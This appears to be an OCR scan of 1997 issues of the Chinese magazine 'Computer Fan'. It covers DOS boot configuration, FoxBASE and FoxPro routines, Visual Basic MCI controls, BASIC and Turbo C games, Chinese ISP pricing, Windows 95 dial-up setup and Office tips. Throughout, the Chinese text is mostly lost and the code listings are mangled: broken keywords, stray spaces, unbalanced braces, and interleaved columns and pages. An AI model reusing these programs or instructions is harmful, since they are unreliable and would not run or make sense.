C:\WINDOWS\ESSVOL .EXE /V:8 /L:8 /W:8 /

M:0/C:8/S:8

LH /L:1 36224 C:\ECS\MSCDEX /V /D: EC-

SCDO001 /M : 10

LH C:\DOS\AMOUSE\AMOUSE /2

GOTO END

:Xiao ( YX )

C:\WINDOWS\ESSCFG .EXE /1:7 /D:1

C:\WINDOWS\ESSVOL .EXE /V:8 /L:8 /W:8/

M:0/C:8/S:8

LH /L:1 36224 C:\ECS\MSCDEX /V /D: EC-

SCD001 /M : 10

LH /L:0;1 146992 /S C:\DOS\SMARTDRYV .EXE

1024/Q

LH C:\DOS\AMOUSE\AMOUSE 2

GOTO END

:END ( )
config.sys  Autoex-

ec.bat

10 10
Win-
dows
1.The configuration for DOS
2.The configuration for WINDOWS
3.The configuration for UCDOS
4.The configuration for YX
menudefault Win 10
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BIOS 528M

BIOS 94 6

528M B

BIOS

Seagate Maxtor

Seagate

20M

2. <Del> (
F10 ) CMOS SETUP
3. Cylinders
615 Heads 4 Sector 17(
Drive — type 2) Setup
4. DOS A

format a:/s

8. DIR
SEAMOVE .EXE
SEAMOVE

.38.

9 A> DM
10. (E) asy Disk In-
stallation

(A )dvanced DiskInstallation

11.
10 A )
DM C
DM
BIOS
DM DDO (DynamicDrive Overlay)
DDO
A
1. A
2.
3.
(R %) 9%k F)
90
Compaq
Com-
0mpaq -
Com-
paq
F10 Setup
- ( )  F4=Con-
figure Change Configuration
Paraller Interface
Lptl IRQ7 dis-
abled Setup
IDE
Lpt2
(K Hade)
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WORDG.0

— E R IV RS FIE

WORD

WORDG6.0

— FEERERBBAZAFR

WORD6.0 83 WMF

Computer Fan 1997 .1.

WORD
= fMRAMKERNEN

WORD

WORD BMP EPS TIF PCT

WORD WMF( )

B

(mn F4k)
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R EE 1997 1.



5B A FoxBASE ¥

“19850231" “ 1985.2.31"

FoxBASE

AT ()

“ ”

PUBLICA B M X Y &&

use Archive

go top
DO WHILE .NOT. EOF ()
A =TRIM ( )
repl with A +";"
REPL
A =TRIM ( Y
PC
TIMEPARK

Computer Fan 1997 .1.

X=A
T

B=2

DO WHILE B< >0
B=AT(";" X)

M =SUBS(X I b-1)
Y=Y +M +SPACE(2)
X =SUBS(X B+1)

ENDDO
REPL WITH Y
SKIP
ENDDO
RETURN
SUBSTR

PUBLICA B C D E M N

& &
use Archive.dbf

DO WHILE .NOT . EOF ()
M =
A=SUBS(M 1
B=SUBS(M 5
C=SUBS(M 6
D=SUBS(M 7
E =SUBS(M 8
N =VAL("D")
DO CASE

CASE B="0" .AND. D="0"

305 XT
306

AUTOEXEC.BAT

IF C="0"
REPL with A
ELSE
IF E="0"
REPL with A +" ."
+C
ELSE
REPL with A +" ."
+C+"."+E
ENDIF
ENDIF
CASE B="0" .AND. N< =3
REPL with A +" ."
+C+"."+D+E
CASE B="1" .AND. D="0"
IF E="0"
REPL with A +" ."
+B+C
ELSE
REPL with A +" ."
+B+C+"."+E
ENDIF
CASE B="1" .AND. N< =3
REPL with A +" ."
+B+C+"."+D+E
ENDCASE
SKIP
ENDDO
RETURN
(FR HAL)
TIMEPARK 2
TIMEPARK
PC
TIMEPARK
TIMEPARK 95%
0
TIMEPARK 95%

(7T BeSLF)
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Al VB # 4T % #ikFE A&t s

VB (Visual Basic)

VB M CI (M edia control interface)
CD VB
MCI
CD VB MCI
CD
MCI
CD—ROM MCI

— MC] EHReaye3x

MCI VB
VB 3.0 MCI
MCI.VBX VB 4.0 MCI

MCI16.0CX (16 ) MCI32.0CX(32 )
MCI VB
(TOOLBOX)
1.VB 3.0 MCI VB
Add File
MCI.VBX 0K
BOX MCI
VB Autoload .mak
MCI.VBX

FILE
Windows\ system

TOOL-

VB
2.VB 4.0 MCI VB 4.0 16
32 WINDOWS 3.1 16
MCI VB 3.0 Add File
Au-
Autoload .mak
J#1.0#0;

toload .mak
OBJECT = {
MCI16.0CX
VB SAMPLE
MCI
MCITEST .M AK
{CIA8AF28 - 1257 - 101B -
0020AF039CA3} #1.0#0; MCI32.0CX

Object =
8FBO -

Au-

.42.

WIN-

toload .mak
DOWS 3.1 VB 4.0 32
MCI32.0CX VB
MCI32.0CX VB

MCI16.0CX

MCI32.0CX
(0109.€

VB 4.0

MCI MCI
Form 9

=_MCI &9/BEFFH

MCI MCI

Button visible MCI

Command MCI
Play Stop Eject
Device Type MCI
MIDI

Open Close

WAV

Filename Open Save
Length Ch
Track Tracklength
Trackposition
Tracks MCI
Tracklength Track

Trackposition Track

Visible MCI
Buttonclick MCI
Buttonclick

MCI
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501 =1 + 1: IF EOF(1) THEN CLOSE : GOTO 90
ELSE LINE INPUT #1, X $

60 IF LEN (X $) > 76 THEN GOSUB 170

70 L = LEN(X $): GOSUB 130: PC = PC + 1:
LOCATE PC, 3: PRINT X $ : IF I MOD 14 = 0
THEN LOCATE PC + 1: PRINT "

. , (ESC )....":P§ = INPUT § (1):
PC = 4:IFP$ = CHR$ (27) THEN SYSTEM
"* ASCII " ELSE GOSUB 180

80IF G$ <> ""ANDLEN(G$) > 76 THEN X $
=G$:1 =1+ 1:GOTO 60 ELSE
IFG$ <> ""THENXS$ =G$:G$ = "":1 =
I + 1: GOTO 60 ELSE GOTO 50
90 LOCATE 21, 10: PRINT A § ; "
";SC 4 (CCx2); "

VGA 24
100 LOCATE 22, 10: PRINT " : (
80 Yo CCi " ASCI " SC;” "; QBS
LO- 110 LOCATE 23, 15: PRINT " 2 (Y/
CATE 60 170 N)ESC DOS": M § = INPUT § (1):
IFM$ ="y"ORM$ =" Y"THEN RUN 20
ELSEIF M $ = CHR $ (27) THEN SYSTEM
120 END

I30FORV = ITOL: X1$ = MID$ (X$,V, 1):
IFX1$ = CHR $ (32) ANDRN $ < > "y" AND RN
$ <> "Y"THEN GOTO 145

140 IF X1$ < CHR $ (160) THEN SC = SC + 1
ELSEV =V + 1: CC = CC + 1

1451FV > LTHEN X$ = X$ + MID$ (G$, 1,
1):G$ =MID$(G$.,2)

10 73k Sk x5k %k YSYRVA.BAS  1996.19 > % 5k 5k %
20 CLS : KEY OFF: ON ERROR GOTO 200

22 LOCATE 1, 20: PRINT " | L 150 NEXT V
24 LOCATE 2, 20: PRINT " | [ 160 RETURN
26 LOCATE 3. 20: PRINT " | o 170F$ = MID$ (X$.1,76): X$ = MID$ (X$,77):G$
28 LOCATE 4, 20: INPUT " (y/N)';  =X8:X§ =F§:RETURN
RN § : LOCATE 4: PRINT SPACE § (70): IF RN § = "y" o 180 FOR R = 1TO 15: LOCATE PC + R: PRINT SPACE
RN § = "Y" THEN QB§ = "( )" ELSE § (79): NEXT R: RETURN
0B$ = "( K 200 IF ERL = 40THEN LOCATE 10, 10: PRINT " .
30 LOCATE 4, 20: INPUT " ".A8:SC=0.0C =0 U$ =INPUTS(1):
PC < 4 IFU$ = CHR $ (27) THEN SYSTEM ELSE RUN 10
40 OPEN "I", #1, A $ (e HARbE)
1111111111111 -1 1111111111 11111111111 - -
Buttoncompleted MCI MM Controll.Command =" open" ’
MCI End Sub
S J Sub Form-Unload (Cancel As Integer)
tatusupdate MM Controll.Command =“ close" ’ MCI
End Sub
) CDh CDh
Prev Next Play Eject
Play
CD CD
MCI Toolbox MCI Cb
Form 9
Form CD
Sub Form-Load () MCI
MM Controll.DeviceType =“ CDaudio" * MCI
CD (LA HFERE)
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g %“'*%. o,
-;%M_ ,aﬁﬁk&:’:ﬁ_\&%
N“‘:?‘“&,; - "’1,?-
N b
*,
o A ",
‘\‘ -\m\ R
.\\
4.,‘::&&-._“‘_’
CIT CAMBRIGE INFORMA-
TION TECHNOLOGY
UCLES
CIT
CIT
42
CIT CIT
1993 12
CIT
CIT 5% &
CIT
CIT
19 001
102 103
104 105
107 108
110 111
113 114
116 117
CIT 5 5
5 CIT

.46.

CIT

CIT 5% 555 S A F & A X

CIT

WORD

CIT

CIT

70~90% CIT

CIT 1E$ 65 3K55
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10. V4.0
31 11. PDA
DOS 495
GB/T 15189 -94
3.1
. ABC
2. DOS TOEFL
GRE GDE199%4
3. —
BBS “2+1
4.
3.1 Windows95
PWindows95 DOS 37 75
5.
6 M "
WPS
2420
CIT CIT
115
%01 £ /o CIT #
CIT CIT CIT
CIT 280 ~ 600 140
CIT CIT
_ CIT
T a5 1
CIT iEH 5T 1E It -
CIT “ "
167 100080

010 62514009
(AFlies w#)
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sraums 5

(@]

— AR

1.
?

2.
int *pi pi int
float > pf pf float
char *pc pc char
int(*pa)[3];pa

3 int
int (% pfu) (); pfu

int

int * *pp; pp

C o

.48.

int
pp
FILE *fp; fp

FILE
stdio . h

int a, *p;
p=&a;

int a,*p=&a;
int a;float *p;

p=&a;

int a[5],*p=a;

NULL

(#%4)
(BRE)

s EAFE 1997 1.



ARABRORL—z2

ISP (Internet )
ISP
1Sp
Internet
ISP
?
WWW .com www .cfan.cn.net
(Domain Name)
Email www Tel-
net Ftp
? ? http://
www .disney .com Home-
Page
http:// www .cfan.cn.net
http://
www .whitehouse.com
95 http:// www .windows95.com

Great wall

Computer Fan 1997 .1.

4
g

[ d

.com
.com
.com
.com .cn
.co.cn
ISP
(WebSite) ?
ISp HomePage
ISP
ISP ISP
1P
ISP 1P
Internet
ISP
HomePage
3 ISP
ISP
(BBRAZMEAEAIEZELRI REE)
Internet
Internet
K Internet Y Internet

(HomewayNet)
ASTAQ (HR)EREL AP ERNGHEFHIEMN
* AR TR % *EXURZREEERS
64601323 64601324 62535410
http://WWW .homeway .co.cn

.49.



E™A Internet BB

( ) B ISP
Internet
1987 9
1994
NCFC Internet
Internet 1996 C ISP
Internet ( 128K 20 )
B ISP
Internet “EHREE ISP U
ChinaN et
ChinaNet
ISP
ChineNet 1
Internet Inter-
net AB
ChinaNet Internet
— Internet M55 3 @ K H A 55 % 5 40 30
Internet —ISP 200
Internet Chi-
naN et ISP
Internet
ChinaN et ChinaN et
ISP ISP
A ChinaNet 3
1996
4 4886 20
B
38.51% 61.46%
C 1/ 3
30 ISP ChinaNet 1996
) A ISP 7 7
Internet
ChinaNet
B ) ChinaNet
B ISP 22 100 300
( )
50 3 100 6
300 20 600 40
1200 100 20 /
600 /
.50. R 1997 .



1G 20
1G 10
NetChina
1000
50 B ISP
Inter-
net ISP Inter-
net
ChinaN et ISp
Sun
CISCO
2500 7500 500
M ultitech 33.6 bps
600
Internet 2M
bps
11
3Cnet
1 Internet
() () ( )
100 50 3
100 100 6
A 100 300 20
100 600 40
100 1200 100
B 100 300
C 1000 1000
D 200 80
1 PPP
2 A 300 9
00— 7 00
20 /
B C 3
D 50 7/ 800
/
3 C 4 E -mail
Homepage
2 3Cnet
RMB 50
RMB 100
RMB 50
B.
RMB 100
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L

RMB100 200
RMB 500
C.
100101
64961814—64961817
ChinaNet ISP
40 B ISP
ISP
Internet
50 Internet
Internet
MIS
WWW
1 ( )
() ()
500K 600 1000
1M 1200 2000
2M 2400 4000
5M 6000 10000
10M 9000 15000
2 1P
( ()
5M 6500 12000
10M 9500 18000
20M 18000 30000
50M 36000 60000
100M 60000 100000
( P 1500
(#%)
(e 2% )
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WIN9S

ISP (Internet )
PPP win95( /)
ISp
1P DNS Sever JAP/TCP
1P
1P 4 (0~255)
INTERNET
DNS
Server (Domain Name Service Server)
(HOST)
(DOMAIN), : c¢fan.netchina.co.cn, cfan
netchina.co.cn
DNS
IP (Internet Procotol) Internet /
TCP
INTERNET
— R FOR ) AR 5
my comput-
er ) control panel(

), modem ( ), mo-
dem don't detect my
computer and I will select it from a list (

modem ) , next ( )
, next, (com) next,
finish ( ), modem
modem properties ( )
OK control panel ( )

modem
T EFEWINOS NEMIKTH

Control panel add/ remove programs

(O )

windows) ,

windows setup (

communication ( ) OK
0K

win95 CDROM

D D:\win95 OK

.52.

Dial - Up Networking Setup

OK
NO control
panel
= MR BBL(IP/TCP) W %%
control panel Network ( )
Add( ) protocol ( ) Add Select
Network Procotocol( ) Mi-
crosoft , TCP/IP, OK TCP/
1P TCP/IP, properties (
), ISp P 1P
1P Obtain an IP address automat-
ically ( Ip ), DNS Config-
eration (DNS ), Enable DNS DNS),
HOST ( ) Domain ( ) DNS Server
search order (DN'S ) prima-
ry DNS( DNS), Add( )
Secondary DNS ( DNS)
Gateway ( ) Gate-
way OK OK
yes
9 R KK T EEIRE
My Computer, Dial - Up Net-
working My Computer
M ake a new connection ( )
Configer ( ), General ( ), Connec-
tion ( ) Options( )

MODEM

Bring Up terminal windows after dialing (

)v

MODEM , Display
Modem Status ( Modem )
MODEM , OK Next (
), (ISP
), Next,

finish ,

Properties ( ),

R EE 1997 1.



Internet

L

Internetiquette

Internet

In-

ternet

Internet

— BT EM R RS

Internetiquette

1. shouting

shouting

shift

2.
3.
4.
5.

Use country code and Area code(

),

Server Type,
PPP:windows 95, windows NT 3.5, Internet
NETBEUI,IPX/SPX Compatible ,TCP/IP

OK
0K ,
A i@ INTERNET ISP
Dial propertise
( )
(Tone dialing )/ (Pulse dialing) , OK
password ( ) connec-
tion
s ISP
( )
win95 Internet Explore (
) ISP (
)
WEB

www .east.cn.net Netscape navigator,Hotjava

Computer Fan 1997 .1.

S A INTERNET 25

INTERNET

http:// www .yahoo.com/ (
) (
computer)
WWW
(http://
(http://

www .chinapages.com /beijing /bj-gacb1.thm) ,

www .cfan.cn.net)

(http//www .orinet .cn.net/music/) ,

( http://
http://

www .microsoft .com /china) ,IBM (http://

www .ibm.co.jp/ IBMGCG/ IBMPRC - C/ in-

dex .html) , Intel

cn/gb/index .htm)

WWW .cei.go.cn),

(http://www .intel.com /

(AF9T4  it)
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o

”

- Displeasure -

fnternet = ShfEmRietk=E"

emotions
6.
Internet
" T resent your message”
“ What the hell do you re- Internet
sent? " resent “
PO W Z& AL K F B I
resent
Internet
1. Internet
9. flaming Flaming
2.
10.
_ e e A 3.
BT REEMERES
( Emotions )
4.
Internet
Internet
Internet
LOL (Laughing Out Loud) - - Internet
u LOL "
ROTFL (Rolling On The Floor Laughing) - - (i £ME)
ROTFL "~

WWW .quote.com

www .gsfc.nasa.gov

« town.hall.org/places/citg lights/

- Smile -
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1...7 , Ctrl+1...7
, Shift +1...7 , 0
“ ESC”
Turbo ¢ 2.0 586/
VGA

#include < graphics.h >
#include < stdlib.h >
# include < conio.h >
int f[3]1[7] = {262,294,330,349,392,440,
494,524,587,659,698,784,880,988,1024,
1174,1318,1396,1568,1760,1976} ;
void dzq();
main ()
{

char ch[2],h;

inti=1;

int k,j,y;

int da[31(14] ={0,1,1,1,1,0,0,1,1,
1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,
0,0,1,1,1,1,0,0,1,1,1,1,1,1,0};

ch[1]=0;

dzq();

y:getmaxy();

ch[0] = getch () ;

while(ch[0]! =27)

{

h =ch[0] -49;

if(ch[0] = =79){h =0;i=2;}
if(ch[0]==80){h=1;i=2;}
if(ch[0] = =81){h=2;i=2;)}
if(ch[0]= =75){h =3;:i=2;}
if(ch[0] = =76) {h =4;i=2;}
if(ch[0] = =77){h =5;i=2;)
if(ch[0]==71){h=6;i=2;)
if(ch[0] = =117){h=0;i=0;}
if(ch[0] == -111){h=1;i=0;}
if(ch[0] = =118){h =2;i=0;}
if(ch[0] = =115){h =3;i=0;}

if(ch[0] = = -113){h =4;i=0;}

if (ch[0] = =116) {h =5;i=0;}

if (ch[0]==119){h =6;i=0;}

if (ch[0] = =ch[1]) {nosound(); de-
lay (20) ; }

if (h >
[h]);}

- 1&&h<7) {sound(fli]

.56.

if (ch[0] = =70") {nosound();}

if (h >
0%)

-1& &h <71 Ich[0] =="

if (ch[0]1 ="0"){
setcolor (0) ;
line(165 + h * 14 + i * 98,
y —y/3,165+h* 14 +i% 98,y — 100) ;
line(177 + h % 14 + i % 98,
y—=y/3,177+h* 14 +i% 98,y — 100) ;
}
if(ch[0]'=0) ch[1]=ch[O];
ch[0] =getch();
setcolor (15) ;
line(165+h* 14 +i%98, y —y/
3+dali][h*2] *35,165+h * 14 +i% 98,
y - 100) ;
line(177 +h % 14 +i1% 98, y —y/
3+dalil][h*2+1] %35, 177+h* 14+i%
98,y - 100) ;
)
else{
if (ch[0]! =0) ch[1] =ch[O];
ch[0] = getch ();
}
i=1;
)
nosound () ;
closegraph () ;
}
void dzq()
{
int x,y,j, i,h,rad;
int gdriver = DETECT ,gmode;
initgraph ( & gdriver, &gmode," c¢:\\
te");
cleardevice () ;
randomize () ;
X = getmaxx (),
y=getmaxy();
j=(x—300)/23;
bar (150 +j, y-y/ 3, x = 167-j, y -
100) ;
setcolor (0) ;
for(i:O;i<x-300—j;i+ :_])
line(150 +1i,y —y/3,150 +1i,y — 100) ;
setfillstyle(1,0);
for(i:O;i<x—300—j*4;i+ =j)
if(i! =j*2& &i! =j*6& &i! =j*
9& &i! =j*13& &i! =j*16& &i! =j*

bar3d (150 +i+j+j/ 2+3, y—-y/ 3,
150 +i+j*2+j/2-5,y -125,2,1);

setcolor(3);

line (165, y —y/3-60, x — 182, y —y/
3-60);

line(140,y -y/3-35, 140,y —-y/3 -
5):

line(x - 157,y -y/3-35,x - 157,y -
y/3-5);

setcolor (3) ;

rectangle (140, y -y/ 3-11, x - 157,
y-95);

setcolor(3) ;

rectangle(160,y —y/3-5,x — 181,y -
100) ;

rectangle (200, y —y/ 3-55, x - 221,
y-y/3-15);

for(i=0;1<200;i+ =8){

setfillstyle(1,3);

bar (210 +i, y —-y/ 3-50, 210+ 5 +1,
y-y/3-20);

rad = random (21) + 20;

setfillstyle(2,11);

bar (210 +i, y —=y/3 -rad, 210+ 5 +1,
y—y/3—rad—10);}

rectangle (140, y —y/ 3-12, x — 157,
y-y/3-9);

ellipse (165, y —y/3-35, 90, 190, 25,
25);

ellipse(x - 182,y -y/3-35,0,95, 25,
25);

circle(x — 207,y —y/3-20,4);

circle(x =207,y —y/3-20,2);

circle(x — 190,y —y/3-20,4);

circle(x — 190,y —y/3-20,2);

setcolor (1) ;

setfillstyle(1,1);

floodfill (142,y —y/3-5,3);

selfillslyle( 10,1);

floodfill (198,y —y/3 - 35,3);

setcolor(4) ;

settextstyle(5,0,3);

outtextxy(160,y -y/3-110," - - -

Computer Piano - — - "
settextstyle(7,0,1) ;
outtextxy (190, y —=90," - — — Pass
ESC to Quit - - - "),
}
(AaZ Batk)
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=303 S 0 M| M < %
DOOM
C&C
WIN-
DOWS

Computer Fan 1997 .1.

RPG
DOS6. 22
NIBBLES. BAS
BASIC
NIBBLES
(#%4)
(IR AR S HRAR, )
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40

FOXPRO 2.5
INKEY () LASTKEY () s

PLAY .PRG
B
RANDOM .PRG

* main program *
*play .prg *
set esca off
set talk off
set color to 1/7,3/4,4
clear
public seed
bb =0
seed = 10
repeat =0 & & * *
* %
a=1
do while a< =79
ch =chr(1)
cr = chr (4)
@0,a say "&ch"
@24,a say "&er"
a=a+l
enddo
do while .t.
js=1
do while js < =40
js=js+1
x=1
y =random (80)
¢ =random (52) + 65
char = chr(c)
gun = chr(24)
??2¢hr(7)
do while .t.
do while x <24
@x ,y say " &char"
x=x+1
k =inkey ()
key =lastkey () & & * %
do case

case key =27

.58.

retu
case key = ¢
b=1
do while .t. & &* *
@24 -b,y say "&gun"
if 24-b=x-1
@x -1,y say "*x"
yy =1
do while yy <3200 & & * *
yy=yy+1
enddo
@x -1,y say "
beep =chr(7)

?beep

exit
endif
yy=1
do while yy < 1100 & & * *
yy=yy+1
enddo
@24 -b,y say " "
b=b+1
enddo
exit
endcase
a=1
b =11200
do whilea< =b-bb & & * x
a=a+1
enddo
@x -1,y say " "

enddo

if lastkey () = ¢

exit

endif

if repeat =0 & & * *
<>0 )

exit

endif

x =1

enddo

enddo

bb=bb +500 & & * *

enddo
% % % %
* % RANDOM * *
PARAMETERS N
SEED =MOD (SEED * 7 + 113,65533)
RETURN MOD (SEED,N)

* %

(repeat

(7T TF)
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GWBASIC

20 25

pPC CCDOS GWBASIC

10 7% % % % EVQIC.BAS 1996.10 * % % % *

20 CLS : KEY OFF

30 DIM A $ (500)

40FOR J = 1 TO 500: READ A $ (J): NEXT J

42 LOCATE 6, 30: PRINT "
A A AL L LA AL LLX" Y = 10

44 LOCATE 7, 30: PRINT " "

50 LOCATE 8, 30: PRINT "3 3 3 3% 5% 5% % % o o o 3% % %"
60 LOCATE 11, 10: PRINT " ,

"
B

70E$ = INPUT $ (1): CLS : GOSUB 700

11I0FORT = 1 TO 500

120B$ =B$ +"" +A$ (I): IFIMODS5 = 0 THEN
LOCATE Y, 20: PRINTB$:B$ = "":Y =Y + 1
1301F I MOD 25 < > 0 THEN GOTO 150

140 LOCATE 16, 30: INPUT " (Y)/ (N)";S$:IFS$
="y"ORS$ =" Y"THENCLS : Y = 10: W =1 /25:
GOTO 400 ELSE CLS : Y = 10: GOSUB 700

150 NEXT 1

400 FORJ = 1 TO 25: S = 0: GOSUB 700

Computer Fan 1997 .1.

415FOR 1 = 1 TO 400 STEP 25

420D% =D$ +" "+ A$(J -1+1):S =S+ 1:1FS
= 4THEN LOCATE Y, 20: PRINTD$:D$% = "":S = 0:
Y =Y + 1

425 NEXT 1

430 LOCATE 16, 30: INPUT " (Y)/ (N)"; V$:IFV $
="y"ORV$ ="Y"THENX = (W - 1) ¥ 25 +J:Y =

10: GOTO 600 ELSE 'Y = 10: CLS

440 NEXT J

600 1F X = O THEN CLS : LOCATE 20, 20: PRINT "
!": END

610 CLS : LOCATE 10, 20: PRINT " :"; A $(X): END
700 LOCATE 8, 16: PRINT " ?": RETURN
8IODATA ., . . . . . . . . ..

820DATA . . . ., . . s
830 DATA . . . ., . . . s

) B ) B 5 B ) B ) s 5 B ) B )

840 DATA . . . . . . . . . . ..

845 DATA s s s s N

850 DATA . . ., . . . . s

5 B 5 B 5 B 5 B 5 B 5 B 5 B

860 DATA . . ., . . s
865 DATA . . ., . . s

870 DATA . , . . . . . .,

’ ’ ) ’ ) ) ’ ) ’ ) ’

880 DATA , , , s , B P ,

890 DATA , ) , ) ) , ) , )

s ’ > s > ’ > B ) B

900 DATA ., ., , . . s

U T TR TR TRT)
B B



©
(FEMTETIE)

%&i%
02 LR

(@iC  REF)

ok 3% 9K Ib 08 %5 2K

@ b
® . )
10 ) 5 ’
R , 5
©) :
@
10’

20 SCREEN 1, 0: KEY OFF: COLOR 0, 0: CLS

30DX = 1: DY = 1: X = 80: Y = 120: N = 0: S = 0: Y1
=10: Y2 = 35

40 LINE (30, 30) - (250, 180), 3, B

(
50 LINE (60, 31) - (62, Y1), 2, BF
60 LINE (60, Y1 + 10) - (62, 179), 2, BF
70 LINE (60, Y1) - (61, Y1 + 10), 1, BF

80A$ = INKEY $:1F A$ = CHR $ (27) THEN END

90 IF RIGHT $ (A $, 1) = CHR $ (72) THEN GOSUB 240:
YI = Y1 - 100: GOSUB 260

100IF Y1 < = 41 THEN Y1 = 41

110IF RIGHT $ (A $, 1) = CHR $ (80) THEN GOSUB 240:
YI = Y1 + 10: GOSUB 260

120IF Y1 > = 159 THEN Y1 = 159

130 CIRCLE (X, Y), 2, 1: CIRCLE (X, Y), 1, 1

140 IF POINT (X - 3, Y) = 30R POINT(X + 3,Y) = 3

.60.

THEN DX = -DX

150 IF POINT (X, Y - 3) = 30R POINT(X,Y + 3) =3
THEN DY = -DY

160 IF POINT (X - 3,Y) = 20R POINT(X + 3,Y) =2
THEN DX = -DX:S =S - 5: SOUND 800, 5

170 IF POINT (X - 3,Y) = 10R POINT(X + 3,Y) =1
THEN DX = -DX: CIRCLE (40, Y2), 2, 1: CIRCLE (40,
Y2), 1,2: Y2 = Y2 + 6: N = N + 1: PLAY " MBM-
NT 12004;E4B4B16A16G4": S = S + 10

1O FORT = 0TO 500 — S — 5 % N: NEXT I

190IF Y2 > = 170 THEN CLS : LOCATE 10, 10: PRINT "
you success!": LOCATE 12, 10: PRINT " your ball="; N; "
your score ="; S: END

200 CIRCLE (X, Y), 2, 0: CIRCLE (X, Y), 1,0

210 LOCATE 1, 3: PRINT "your ball="; N; "Your score =";
S

220X = X + DX:Y =Y + DY

230 GOTO 80

240 LINE (60, 31) - (62, 179), 0, BF

250 RETURN

260 LINE (60, 31) - (62, Y1), 2, BF: LINE (60, Y1 + 10)
- (62, 179), 2, BF

270 LINE (60, Y1) - (61, Y1 + 10), 1, BF

280 RETURN
( VGA QBASIC
GWBASIC )
(FRM FRAR)
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WIN95 “E-
mail " " E -
WORD  EXCEL 1996 12 24  mail ’
17 15~17 45 Interent
30
WIN9S winos
WORD FOR WIN95 EX- 1996
CEL FOR WIN95 1997
WIN 95 MS Internet Ex-
plore 3.0 1997 1 17
1996 12 6
Windows NT Sever4.0  Workstation4.0
10 “ Mellem” “ WebChina’ 97 "
“ (Aha)” Web Internet
“ FP +”
Internet WebChina’97
www .foundercsi.co.cn WebChina
Web
HP 1997
Vectra500 Windows95 ) ,
HP 26689588
AST 1996 12 “ 26689588” 24
AST 600 /
AST “
AST "
600 26689588
26689587

PC - cillin95

“ nou ” “

Computing

“ "

Internet

Computer Fan 1997 .2.

PC Computing

PC - cillin95
" PC

Business Objects
Business Objects
1996 12 12
Business Objects
1990 “ !

(Semantic Layer)

Business Objects

/
BusinessObjects 4.0

BusinessObjects

MIS



3DS Auto Desk
3DS ()
FLI FLC
TAR-
GA JPEP BMP
3DS
MODIFY
PROGRAM
F1~F5
HOLD FETCH
( ) HOLD
(
)
FETCH
CTRL “ K

RENDERER/RENDER VIEW
(CTRL +F1~CTRL +F12)
RENDERER/ RENDER VIEW
CTRL +F1 REN-
DERER/RENDER VIEW

CTRL +F1

.10.

ALT RENDER-
ER/RENDER VIEW
3DS
3DS
BOX
(OBJECTOI1
OBJECT02 )
3DS
CTRL +P
PRJ
F1~F5
CTRL +]J
.o
F3
( )
3DS 3DS
3DS.EXE VIBCFG(S V
)
M AIN——DISPLAY F1~F4
MATERIALS—DISPLAY
RENDER—
DISPLAY

FILE—PLAYING
GRAPHICS BOARD

TAB SHIFT +TAB

“ oy

0K
3DS.SET
GL kKA
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B

Authorware Professional (

Authorware)

Authorware

1.Authorware

2.Authorware

Authorware

Computer Fan 1997 .2.

[EH Authorware BITIES

3.Authorware

Authorware

4.Authorware
Authorware
Windows
.EXE

Authorware
5. Authorw are
6.Authorware

Authorw are

Authorware

Authorware

Authorware

Authorware Authorware

(F& @FE)
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ITHHIX Excel lﬂﬂ]

Excel
Excel 5.0 “
1.
2.
3.
Excel
./
Al
Al
L1
A2
A2 10 A2
All
A3
All

L12.

71

A3

30

y//]

"4 1 71
“ +"
“ Y
Excel
L1 B1
10 A3 20 A3
A2 A3
All A4
100

JEER
“ Y,
Del
“ Y, . " u
“on
B6 “ =SUM (B2:B5)”
E6 C6 D6 E6
F2 F6
QSBE[_] EEIMI ﬁﬂlﬂl
[EEE =R R E S L?_EEIIE
ITH‘I‘II:S New Floma |__1|12 |;] nI.{IH”EiS]E!hﬂ ﬂl%l
26 * | =sUMEIES
] 0 = 25, < [ O F G | H[+
Wl —h —F =& W& &i fed
Lz [T#b 10 1z 1 17
|3 [Fue 83] 6 53] 109
== 965 1040 800, 1350
|5 [#T 10 17 13 22
Gk roeel |
L el :IJFH": -
T4TR M stml(smfmz_(sm'{.] | [=
n—i'
A1
« Y. »

BT RT 4
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b
FH Word 7.0 #lZER(B

SBN

WORD
7.0 3 El@l
WORD 6.0 WORD 6.0
[ 2| [=0w— = O =]
] M =l =M B IS E I A B S
E N=i=i=
2 2l
EXCEL
5 3
5. }c!%l uﬁulwl
N

o. A}
INSERT

WORDG6.0

(bx k)
Computer Fan 1997 .2.
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Word 5.0

Word
Word
5.0 Smartcom FAX for Win-
dowsl.2A
1.
Smartcom FAX “ Inbox”
“ View/ Print” ‘339"
“ 500" % 100%"
2. Word
NORMAL
3.
4. “ "
Cu
L F3

.14.

5. “ "
Word 5.0
Sign
Word 5.0
Ctrl + Shift + Windows Ctrl +
Shift Shift
L
F3 “ " “
Word “
Ctrl +L
Word
6.
“ SMARTCOM FAX
FAX”
“ SEND”
“ Smartcom Fax” “ Outbox”
“ Reactivate”
Word FAX

386 DX33 PWin32 Word 5.0

(w3

B)
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]

=

e

SET FILTER
[ <EXPL > |

<EXPL >
FILTER

Structure for database: SPECIAL .DBF

Field Filed Name  Type Width
1 DIC1 Character 20 «
2 DIC2 Character 2 <+«
3 DIC3 Character 2 <«
LR
Record DIC1 DIC2 DIC3
1 07 03
2 01 01
3 03 01
4 04 02
5 05 02
6 02 01
7 08 03
8 06 02
* DIC3=01 =02 =03
. USE SPECIAL
. SET FILTER TO DIC3="01"
. LIST
Record DIC1 DIC2 DIC3
2 01 01
3 03 01
6 02 01
SET FILTER

Computer Fan 1997 .2.

SET FILTER TO

1

.GO 1

. DISP
Record

1

SET

SET FILTER

DIC1 DIC2

07

DIC3
03

. GO TOP

. DISP
Record
2

2

.GO 5

. DISP
Record

5

.SKIP

. DISP
Record

3

DIC1 DIC2

01

DIC3
01
GO 1
GO TOP

DIC1 DIC2

05

DIC3
02
-1
DIC1 DIC2
03

DIC3
01

GO N SKIP [+/-1M

SKIP [+/-1M M

. GO TOP
. SKIP -1
. ?BOF ()

T

.GO 7
. SKIP
. ?EOF ()

T

.GO 6
. SKIP
. ?EOF ()

T

. GO BOTTOM

.15.



PEND GO N RECNO() RECCOUNT ()

. SKIP
. ?EOF ()
.T.
SKIP EOF () =
SKIP -1 BOF()=.T.

T

AP-

BROW () BOF() E-
OF() GO TOP GO BOTTOM REPLACE

SET FILTER

Foxpro 2.6
(SPECIAL.DBF), (1)
TER TO (2)

(3) @ MENU

SET TALK OFF

SET SAFETY OFF

SET SCOREBOARD OFF
SET ESCAPE OFF

STORE 1 TO SEL
DIMENSION WORD (50)

SELECT 3
USE SPECIAL
SET FILTER TO DIC3 =01’
I=1
DO WHILE .NOT. EOF ()
WORD(I) =DIC1
WORD(I) =TRIM (WORD (1))
